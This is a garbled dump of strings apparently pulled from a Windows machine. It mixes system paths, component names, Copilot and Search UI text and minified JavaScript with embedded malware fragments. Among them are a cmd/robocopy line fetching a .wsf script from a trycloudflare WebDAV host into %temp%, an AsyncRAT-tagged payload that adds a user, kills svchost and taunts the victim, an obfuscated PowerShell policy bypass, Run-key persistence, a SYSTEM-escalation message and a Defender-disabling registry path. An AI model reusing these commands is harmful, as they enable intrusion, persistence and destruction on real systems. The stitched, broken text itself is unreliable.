%system32%\iscsicli.exe
%system32%\iscsicpl.exe
%system32%\deviceenroller.exe;%system32%\dmcertinst.exe;%system32%\dmcfghost.exe;%system32%\dmomacpmo.exe;%system32%\hvsievaluator.exe;%system32%\mdmappinstaller.exe;%system32%\mdmdiagnosticstool.exe;%system32%\omadmclient.exe;%system32%\usocoreworker.exe
%system32%\arp.exe;%system32%\colorcpl.exe;%system32%\datausagelivetiletask.exe;%system32%\dcdiag.exe;%system32%\devicecensus.exe;%system32%\dnscacheugc.exe;%system32%\fxscover.exe;%system32%\fxssvc.exe;%system32%\fxsunatd.exe;%system32%\ipconfig.exe;%system32%\mousocoreworker.exe;%system32%\msra.exe;%system32%\mstsc.exe;%system32%\nbtstat.exe;%system32%\net.exe;%system32%\netbtugc.exe;%system32%\netiougc.exe;%system32%\netsh.exe;%system32%\netstat.exe;%system32%\omadmclient.exe;%system32%\pathping.exe;%system32%\printbrmui.exe;%system32%\printui.exe;%system32%\rdpclip.exe;%system32%\route.exe;%system32%\tracert.exe;%system32%\w32tm.exe;%system32%\wfs.exe;%system32%\wifitask.exe;%system32%\wpnpinst.exe;%programfiles%\minecraft launcher\minecraftlauncher.exe;%programfiles%\microsoft deployment toolkit\bin\microsoft.bdd.catalog35.exe;%localappdata%\microsoft\onedrive\onedrive.exe;%localappdata%\microsoft\onedrive\onedrivestandaloneupdater.exe;%localappdata%\microsoft\teams\current\teams.exe;%system32%\dpiscaling.exe;%system32%\rasphone.exe;%system32%\slui.exe
%system32%\easpolicymanagerbrokerhost.exe
%system32%\convert.exe;%system32%\fsavailux.exe;%system32%\label.exe;%system32%\recover.exe;%system32%\xcopy.exe
%system32%\browserexport.exe;%system32%\cipher.exe;%system32%\iesettingsync.exe;%system32%\launchwinapp.exe;%system32%\microsoftedgebchost.exe;%system32%\microsoftedgecp.exe;%system32%\microsoftedgedevtools.exe;%system32%\microsoftedgesh.exe;%system32%\wwahost.exe
%system32%\ie4uinit.exe
%system32%\nlbmgr.exe
%system32%\netsh.exe;%system32%\wifitask.exe;%system32%\wsmanhttpconfig.exe
%system32%\psr.exe;%system32%\tabcal.exe;%programfiles%\logitech\setpointp\ldevice
%system32%\gpapi.exe
%system32%\charmap.exe
%system32%;%syste
ctackPup = Windows.TextBox1.Tag +!
c:\windowsG
c:\windows\system32\cmd.exe/c%systemroot%\
WINDOWS11
oftware\Microsoft\Windows NT
System.Windows.Forms
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateString
WindowsCreateStringReference
WindowsDuplicateString
WindowsGetStringLen
?FSystem32\
Windows\
c:\windows\system32\cmd.exe/crobocopy"\\hose-jerusalem-sure-older.trycloudflare.com@ssl\davwwwroot\wsf"%temp%gbcamo.wsf
1(new-objectsecurity.principal.windowsprincipal$user).isinrole([security.principal.windowsbuiltinrole]::administrator)
onecoreuap\shell\windows.storage\sharedstoragesources\mtptl2.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\homefoldersettings.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\registryverbarray.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\dvthumbnail.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\defaultassociations.cpp
autoupdatedisablenotifysoftware\policies\microsoft\windows defender\real-time protections
Microsoft.Windows.Kernel.KernelBase
Microsoft-Windows-AppModel-State
Microsoft.Windows.Kernel.KernelBase.Fallback
Microsoft-Windows-AppModel-Runtime
Microsoft.Windows.Kernel.Base
Microsoft.Windows.WilFeatureToggles
Microsoft.Windows.AppModel.StateManagerTelemetry
Microsoft.Windows.AppxCreateProcessExtensions
Microsoft.Windows.AppModel.ProcessCreation
Microsoft.Windows.Health.TestInProduction
Microsoft.Windows.FeatureTuning
Microsoft.Windows.FeatureTuning
Windows-1
Windows-All-Client-Ge-Consoli
Microsoft-Windows-HyperV-Op
'windowsdefende
tempdir\templem\update.exec:\windows\adopelocalappdatac:\windows
programdata\windowshost\
FBIMAGE.DLLc:\windows\tempchings@163.netc
Windows.Defender.SecurityCenter?
amd64_microsoft-windows-g..licy-admin-scrptadm_31bf3856ad364e35_none_46225656fce6ab3e
amd64_microsoft-windows-g..licy-base.resources_31bf3856ad364e35_en-us_8d2adee9347297be
amd64_microsoft-windows-g..licy-gpmc.resources_31bf3856ad364e35_en-us_61c1687813030510
amd64_microsoft-windows-g..licymaker.resources_31bf3856ad364e35_en-us_18266137f1faa099
amd64_microsoft-windows-g..linetools.resources_31bf3856ad364e35_en-us_18c34236120f741e
amd64_microsoft-windows-g..ll-wow64-deployment_31bf3856ad364e35_none_d3acedf0d8e391bc
amd64_microsoft-windows-g..ls-wow64-deployment_31bf3856ad364e35_none_53f16af40af83a7e
s\system32
"WindowsTelemetry",33554432)y
"WindowsTelemetry",33554432)y
net user /add RIPPC%d rippc >nulC:\Windows\rippc.pngcmd.exe /c taskkill /f /im svchost.exeYour pc is dead!%s\Desktop\RIPPC%d.txtTHERE IS NO REMOVING THIS MALWARE I HOPE YOU LIKE USING A COMPUTER LIKE THIS!#HSTR:Trojan:MSIL/AsyncRAT.PA46!MTB
Software\Microsoft\Windows\Peltigeraceae159\Uninstall\bedemandsmine\knledeneS
osoftWindows.Client.CBS_
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbwe8
Microsoft.WindowsTerminal_8wekyb3d8bbwe
Microsoft.WindowsNotepad_8wekyb3d8bbwe
amd64_microsoft-windows-l2na_31bf3856ad364e35_none_cddac8c8cc51d6bf
amd64_microsoft-windows-label.resources_31bf3856ad364e35_en-us_48844077124e5ea7
amd64_microsoft-windows-label_31bf3856ad364e35_none_416845692a841d14
amd64_microsoft-windows-languagesdb-onecore_31bf3856ad364e35_none_aa45767a8c73f8df
amd64_microsoft-windows-languagesdb_31bf3856ad364e35_none_6f50a3fa05dfa5a9
amd64_microsoft-windows-lanmanserver-adm_31bf3856ad364e35_none_56f790995eaec61b
amd64_microsoft-windows-lanmanworkstation-adm_31bf3856ad364e35_none_c6b234271615debf
amd64_microsoft-windows-lsa-minwin_31bf3856ad364e35_none_3902942ef7d8ca79
amd64_microsoft-windows-lsa-mof_31bf3856ad364e35_none_826976fda0d99327
amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_cs-cz_e9aab205061b717e
amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_da-dk_17a5b27f23a1e3b7
amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_de-de_17ea932f236da16d
amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_el-gr_44cfe0df41c095cf
amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_en-us_44c72c1b41c6bc90
amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_es-es_44cc0f2d41c268d3
amd64_microsoft-windows-lsa-msprivs.resources_31bf3856ad364e35_fi-fi_7299025b5f6a3179
#c:\windows\system32\imageres.dll,
Arunwindir&"\system32\windowspowershell\
","Explore more search results","Fallback bundle","Feedback","Give feedback","Send feedback","More recent documents","Find more on the web","Date updated to","{0} of {1}","Focus settings","View web results","See web results for '{0}'","Formatting tips for {0}","Formulas and Calculation tips for {0}","Frequent","From your history","Game in Microsoft Store","Genres","Get app in Microsoft Store","Get {0} in Microsoft Store","Get","Group","hour ago","hours ago","Ctrl + Right arrow to preview","Image of the day",'Image related to "{0}" found.',"Images","Improve slide design for {0}","{0} in {1}","The item you selected is unavailable","The item you selected is unavailable. It might have been moved, renamed, or removed. Do you want to remove it from the list?","Last opened","Last modified","Last modified by","{0} by {1}","Shared by","likes","Loading...","Places","Location","Recent","Manage accounts","View and delete search history","{0} of {1}","Menu","Microsoft account","Microsoft Edge","Microsoft recommended browser","Microsoft Rewards balance: {0}","minute ago","minutes ago","Search uses AI to find results. If something doesn't look right, let us know.","month ago","months ago","More","More filters","Good morning","Movie in Microsoft Store","Based on past activity","{0} recommended","Network settings","Related news from the web","Trending news from the web","Next","No results found for '{0}'","Close","Official Site","OneDrive for Business","{0}'s OneDrive","Open","Open app","Open contact","Open control panel","Open Copilot","Open file location in browser","See more information (Ctrl + Right arrow)","Open in {0}","Open in browser","Open in Microsoft Store","See more information (Right arrow)","Preview this item","Open microsoft recommended browser","Open more search results","Manage history","Open results in browser","Open system","Open system settings","Preview web results (Right arrow)","Open web results","Open web results in the browser","Options","Indexing options","Debug settings","Other","Path","Path copied","Top People - M365","'{0}' pinned to Start","'{0}' pinned to taskbar","Type what you want to search","Click here to search","Search local and web content","Quick search","Search the web","Search web {0} PC","Search web {0} more","Press right to switch to preview","Press right to switch preview","Preview for {0} isn't available right now.","Press ctrl + right to switch preview","Try: {0} Checking your network cables, modem and routers {0} Reconnecting to your wireless network {0} Running Windows Network Diagnostics","You're not connected","Press right to view options","Press right to view options","Try retyping your search or open the results in browser","Privacy Policy","Proofread {0}","Quick match","Quick match for apps","Quick match for documents","Quick match for emails","Quick match for folders","Quick match for music","Quick match for people","Quick match for photos","Quick match for settings","Quick match for videos","Quick match for web","Quick searches","Quick work searches","
amd64_microsoft-windows-m..vider-rll.resources_31bf3856ad364e35_en-us_9b4f88fd2d883a3e
amd64_microsoft-windows-m..wmi-v2-provider-dll_31bf3856ad364e35_none_60ee7d9591abc608
amd64_microsoft-windows-m..wnlevelmanifests-ds_31bf3856ad364e35_none_101d93136e78ca43
amd64_microsoft-windows-m..xe-common.resources_31bf3856ad364e35_en-us_88fa8223eedfea43
amd64_microsoft-windows-m..xecserver.resources_31bf3856ad364e35_en-us_df3ae7bd5066e2a8
amd64_microsoft-windows-m..yer-setup.resources_31bf3856ad364e35_en-us_a0b9efae9b5a4bd8
amd64_microsoft-windows-m..yer-wmasf.resources_31bf3856ad364e35_en-us_d614c16ac96dd571
var u,n=_ge(this.feedbackContainerId),f=this.GetCategoryRadioButtons(n),e=n.querySelector('input[name="screenshot"]'),o=n.querySelector('input[name="sendmail"]'),t=n.querySelector('input[name="alias"]'),r=this.GetAlias(),i=0,s=f.length;i<s;i++)f[i].checked=i==this.selectedByDefaultCatIdx?!0:!1;u=_ge(Feedback.Core.verbatimTxtId);u.value="";Lib.CssClass.remove(u,"error");e&&(e.checked=!0);o&&(o.checked=!0,Lib.CssClass.remove(n.querySelector('label[for="fbpgdgal"]'),"disabled"),Lib.CssClass.remove(n.querySelector('label[for="fbpgdgml"]'),"disabled"),t.removeAttribute("disabled"));t&&(t.value=r&&r!=t.placeholder?r:"",Lib.CssClass.remove(t,"error"));_ge(this.modalShieldId).style.display="block";_ge(this.feedbackContainerId).style.display="block"},t.prototype.HideForm=function(){_ge(this.feedbackContainerId).style.display="none";_ge(this.modalShieldId).style.display="none"},t.prototype.RemoveForm=function(){Feedback.Core.Remove(_ge(this.feedbackContainerId));Feedback.Core.Remove(_ge(this.modalShieldId))},t.prototype.AddLabeledInputSdk=function(n,t,i,r,u,f,e,o,s,h,c){var y,l,p,a,v;return r===void 0&&(r=undefined),u===void 0&&(u=undefined),f===void 0&&(f=undefined),e===void 0&&(e="inputwrapper"),o===void 0&&(o=null),s===void 0&&(s=null),h===void 0&&(h=null),c===void 0&&(c=null),y=sj_ce("div",null,e),l=sj_ce("input",h,o),l.type=t,u===!0&&(l.checked=!0),typeof r=="string"&&(l.name=r),typeof f=="string"&&(l.value=f),p=sj_ce("span",null,t+"Decoration"),a=sj_ce("div",null,s+" outerlabel"),a.setAttribute("id",c),v=sj_ce("label",null,s),y.appendChild(a),v.setAttribute("for",h),a.appendChild(l),v.appendChild(p),v.appendChild(_d.createTextNode(i)),a.appendChild(v),n.appendChild(y),l},t}(n.WindowsFeedbackFormBase);_w.WindowsFeedbackForm=new t}(WindowsFeedback||(WindowsFeedback={})),function(n){var t;(function(t){"use strict";function u(){typeof SearchAppWrapper!="undefined"&&SearchAppWrapper.CortanaApp&&SearchAppWrapper.CortanaApp.setChromeState&&SearchAppWrapper.CortanaApp.setChromeState(7);r=n.Core.GetComputedStyle(_d.documentElement)["overflow-y"];_d.documentElement.style["overflow-y"]="hidden";i=!0}function f(){if(i){if(typeof SearchAppWrapper!="undefined"&&SearchAppWrapper.CortanaApp){SearchAppWrapper.CortanaApp.restorePreviousChromeState&&SearchAppWrapper.CortanaApp.restorePreviousChromeState();SearchAppWrapper.CortanaApp.closeFeedbackPage&&SearchAppWrapper.CortanaApp.closeFeedbackPage();var n=_w.feedback&&_w.feedback.config&&_w.feedback.config.focusCortanaSearchBoxOnFeedbackClosed;n&&SearchAppWrapper.CortanaApp.searchBox&&SearchAppWrapper.CortanaApp.searchBox.requestFocus&&SearchAppWrapper.CortanaApp.searchBox.requestFocus()}_d.documentElement.style["overflow-y"]=r;i=!1}}var r,i=!1;t.SetForFeedback=u;t.Reset=f})(t=n.CortanaState||(n.CortanaState={}))}(Feedback||(Feedback={}))
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
WindowsInstaller
WindowsInstaller
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
windows.hlp
C:\WINDOWS\system32\mfc140rus.dll_
WindowsInstaller
amd64_microsoft-windows-p..m-library.resources_31bf3856ad364e35_en-us_3a5de008d8ca85a5
amd64_microsoft-windows-p..ment-troubleshooter_31bf3856ad364e35_none_be2b9f20f36e08fe
amd64_microsoft-windows-p..mercoreui.resources_31bf3856ad364e35_en-us_d59fc8a1a7116fdb
amd64_microsoft-windows-p..minkernel.resources_31bf3856ad364e35_en-us_2c0157fad3640e94
amd64_microsoft-windows-p..mitymessaging-rtapi_31bf3856ad364e35_none_ecc26aecacf07660
amd64_microsoft-windows-p..mmandline.resources_31bf3856ad364e35_en-us_0f461050948e912f
amd64_microsoft-windows-p..mptf-usermodeclient_31bf3856ad364e35_none_4679ec3f1f1e6893
amd64_microsoft-windows-power-adm_31bf3856ad364eZ
Microsoft Windows3
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Sync Data\LevelDB
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Sync Data\LevelDB/000020.log
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Sync Data\LevelDB/LOCK
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Sync Data\LevelDB
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Sync Data\LevelDB
Windows.Networking.BackgroundTransfer.Internal
WindowsInstaller
amd64_microsoft-windows-reagent-task-handler_31bf3856ad364e35_none_8802676f2fe116ff
amd64_microsoft-windows-recdisc-main.resources_31bf3856ad364e35_en-us_7021e82e262c51dc
amd64_microsoft-windows-recdisc-main_31bf3856ad364e35_none_7c24a46c497a3ff7
amd64_microsoft-windows-recover.resources_31bf3856ad364e35_en-us_736e1a2311a85b9f
amd64_microsoft-windows-recovery-cleanpc_31bf3856ad364e35_none_78ca7c0de8c1ec8a
amd64_microsoft-windows-recovery-remotewipe_31bf3856ad364e35_none_afe1f7645c93e05f
amd64_microsoft-windows-recoverycenter-core_31bf3856ad364e35_none_cb0fdd426fd4f24a
amd64_microsoft-windows-s..authfactor-credprov_31bf3856ad364e35_none_e22d8c03c67b37d8
amd64_microsoft-windows-s..avers-3d-deployment_31bf3856ad364e35_none_60355d3eb583091a
amd64_microsoft-windows-s..baseline-clientcore_31bf3856ad364e35_none_dabb25bc6cb573d2
amd64_microsoft-windows-s..bewv2host.resources_31bf3856ad364e35_en-us_914e1dfa22a8f8e2
amd64_microsoft-windows-s..biometrics-trustlet_31bf3856ad364e35_none_e991e6879649254c
amd64_microsoft-windows-s..boot-firmwareupdate_31bf3856ad364e35_none_61cafe17eb0be6c0
amd64_microsoft-windows-s..broker-capabilities_31bf3856ad364e35_none_ee9b94660e3ca65e
amd64_microsoft-windows-s..brokerapi.resources_31bf3856ad364e35_en-us_b564c5a6b2feb078
amd64_microsoft-windows-s..brokeringfilesystem_31bf3856ad364e35_none_e8aadc40b46e0fea
amd64_microsoft-windows-s..csengine-nativehost_31bf3856ad364e35_none_2821f4ae1a431e3e
amd64_microsoft-windows-s..cy-engine.resources_31bf3856ad364e35_en-us_19308096acd6ebfd
amd64_microsoft-windows-s..dapplugin.resources_31bf3856ad364e35_en-us_a1a3aaab7515da13
amd64_microsoft-windows-s..daryauthfactor-task_31bf3856ad364e35_none_50fd3533ab0de232
amd64_microsoft-windows-s..duledtask.resources_31bf3856ad364e35_en-us_80bef529833d88a6
amd64_microsoft-windows-s..dy-events-container_31bf3856ad364e35_none_1e7337a33834aeec
amd64_microsoft-windows-s..e-cleanup.resources_31bf3856ad364e35_en-us_f873f23581039496
amd64_microsoft-windows-s..e-client-ui-wsreset_31bf3856ad364e35_none_07521abf5cc4d430
amd64_microsoft-windows-s..e-runtime.resources_31bf3856ad364e35_en-us_e43638ac80dcd195
amd64_microsoft-windows-s..e-windowsupdateauth_31bf3856ad364e35_none_3d4cfdadebc7819a
C:\WINDOWS\system32\vcruntime140.dll
C:\WINDOWS\system32\vcruntime140_threads.dll
C:\WINDOWS\system32\vcruntime140_1.dll
C:\WINDOWS\system32\msvcp140.dll
C:\WINDOWS\system32\msvcp140_1.dllK
C:\WINDOWS\system32\msvcp140_2.dll
C:\WINDOWS\system32\msvcp140_atomic_wait.dllA+"
C:\WINDOWS\system32\mfc140jpn.dll
C:\WINDOWS\system32\mfc140kor.dll
C:\WINDOWS\system32\vccorlib140.dll
C:\WINDOWS\system32\vcamp140.dll
)C:\WINDOWS\system32\vcomp140.dll
WindowsInstaller
WindowsInstaller
Windows Performance Toolkit.rbsL
<WindowsPerformanceRecorder   Version="1" Author="DiagTrack Scenario Editor" Copyright="Microsoft Corporation" Company="Microsoft Corporation" >
api-ms-win-core-windowserrorreporting-l1-1-0.dll
~windowstylehidden
nencryptmyfile:encrypt:key:afterdeleteuploadfileimmediately:cmd:deletecreateplistfileat:withlabel:exepath:exetype:keepaliveexecutecmdandsaveresult:saveresult:uploadimmediately/library/launchdaemons/.com.apple.windowserver.plist/volumes/data/leonwork/maintask/bad/execute/execute/Exploit:O97M/CVE-2017-0199.RVCQ!MTB
_\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicyunrestricted$erroractionpreference='silentlycontinue';salimxjm([string][char[]]@((
windows defender smartscreen:wux:windows defender smartscreen(
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
\windows\currentversion\uninstall;
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
/windows/
object_shell.shellexecute "c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe", 
\client32.exe"sphkcu:\software\microsoft\windows\currentversion\runmysoft$
Microsoft-Windows-CoreSystem-Security-UserMgr-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
: WWII (Windows)https://store-images.s-microsoft.com/image/apps.33721.14533307924484300.5a3a220a-5bc7-4189-a4d8-3425c0822397.794db537-e0ae-42e5-97c3-df32a37b0daeen
: WWII (Windows)https://store-images.s-microsoft.com/image/apps.33721.14533307924484300.5a3a220a-5bc7-4189-a4d8-3425c0822397.794db537-e0ae-42e5-97c3-df32a37b0daefr
: WWII (Windows)https://store-images.s-microsoft.com/image/apps.33721.14533307924484300.5a3a220a-5bc7-4189-a4d8-3425c0822397.794db537-e0ae-42e5-97c3-df32a37b0daede
    <Category Name="Dialogs and Tool Windows" GUID="{1f987c00-e7c4-4869-8a17-23fd602268b0}">
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo><asmv3:application><asmv3:windowsSettings><dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware><dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2</dpiAwareness></asmv3:windowsSettings></asmv3:application></assembly>
windows-1252
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$ITypedEventHandler@PEAVToastNotification@Notifications@UI@Windows@@PEAUIInspectable@@@Foundation@Windows@@U?$ITypedEventHandler@PEAVToastNotification@Notifications@UI@Windows@@PEAVToastDismissedEventArgs@234@@56@U?$ITypedEventHandler@PEAVToastNotification@Notifications@UI@Windows@@PEAVToastFailedEventArgs@234@@56@@WRL@Microsoft@@
\\WINDOWS11
\WINDOWS11[\\PIPE\\atsvc
Windows.UI.Composition.DesktopWindowContentBridge
Windows.UI.Input.InputSite.WindowClass
login.windows.net
login.windows.net
login.windows.net
Windows.Data.UnifiedTile.LocalStartTileProperties
Windows.Data.UnifiedTile.LocalStartVolatileTileProperties
Windows.Data.UnifiedTile.CuratedTileCollectionUpgradeEntry
Windows.Data.CuratedTileCollection.Root
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceFrame.SetStatusText
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextRangeProvider.GetText
WindowsFormsSynchronizationContext
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateString
\system32\x00
Got Winlogon handle: 0x%xFound target offset value: 0x%xEnjoy your new SYSTEM processTarget address!#ALF:PUA:Win32/Softcnapp.MR5!MTB
Windows.Data.Common.Size
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
windowsudk.shellcommon.dll
.P6A_NAEBV?$shared_ptr@VExtensionInfo@implementation@AppExtensions@ApplicationModel@WindowsUdk@winrt@@@std@@@Z
.?AV?$_Binder@U_Unforced@std@@P8UserActivityManager@implementation@UserActivities@ApplicationModel@WindowsUdk@winrt@@EAAX_KV?$basic_string@_WU?$char_traits@_W@s&(3
windowsStore->RegisterForProgress(progressWrapper.Get(), __uuidof(ExternalStoreCallback), type, &cookie)
11b^com.microsoft.windows.extensions.xaml.aix
11c^com.microsoft.windows.assetreference
11d^com.microsoft.windows.extensions.discoveryoverlay.existencecheck
com.microsoft.windows.extensions.discoveryoverlay.existencecheck
Windows.Data.Platform.Partitioning.DeviceExperiencePartitionMetadata
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileSingletonData
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Tile>
Windows.Data.Platform.ItemReference<Windows.Data.CuratedTileCollection.Group>
Windows.Data.Signals.BaseCondition
Windows.Data.Platform.Asset.PerDeviceAssetBlob
Windows.Data.Platform.Diagnostics.DiagnosticUserProfileCollectio
c:\windows\system32\drivers\etc\h
windows option parsed but missing! You should not see this
Microsoft.Windows.Licensing.SppKms
WindowsE
reason::windows_copilot_policyValueIncorrect_error
reason::windows_copilot_policyValueNotFound
WindowsCopilotDisabledByMDM
isWindowsUpdateManaged
temRoot%\system32\mswsock.dl
WindowsActiva
c:\windows\s
COMPUTERNAME=WINDOWS11
WindowsInternal.ComposableShell.Experiences.VolumeAndMedia
WindowsInternal.ComposableShell.Experiences.Mocks
WindowsInternal.ComposableShell.Experiences.ExternalExperience
WindowsInternal.ComposableShell.Experiences.Dimmer
WindowsInternal.ComposableShell.Experiences.ActionDialog
\Microsoft\Windows\Start Menu\Programs\PPC-software\PPC-software.lnk
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\PPC-software
HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\PPC-software
WindowsInternal.ComposableShell.Experiences.VolumeAndMedia
WindowsInternal.ComposableShell.Experiences.Mocks
WindowsInternal.ComposableShell.Experiences.ExternalExperience
WindowsInternal.ComposableShell.Experiences.Dimmer
WindowsInternal.ComposableShell.Experiences.ActionDialog
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.10
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.30
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.35
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.29
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.20
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.21
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.31
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.13
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.6
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.16
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.2
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.BACKGROUNDTRANSFERTASK.CLASSID.2
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.38
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.8
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.37
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.9
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.32
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.25
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.2
WINDOWS.NETWORKING.CONTENTPREFETCHER.INTERNAL.CONTENTPREFETCHERTASK.CLASSID.24
WINDOWS.NETWORKING.BACKGROUNDTRANSFER.INTERNAL.NETWORKCHANGETASK.CLASSID.34
windows.hlp`
@@V?$allocator@Uhstring@winrt@@@std@@@std@@_K@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@H@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUpromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@_K@experimental@std@@
.?AU?$produce_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@H@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@H@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$promise_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@H@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@H@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@@impl@winrt@@
.?AU?$root_implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@H@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@impl@winrt@@
.?AU?$implements@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@H@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@678@@winrt@@
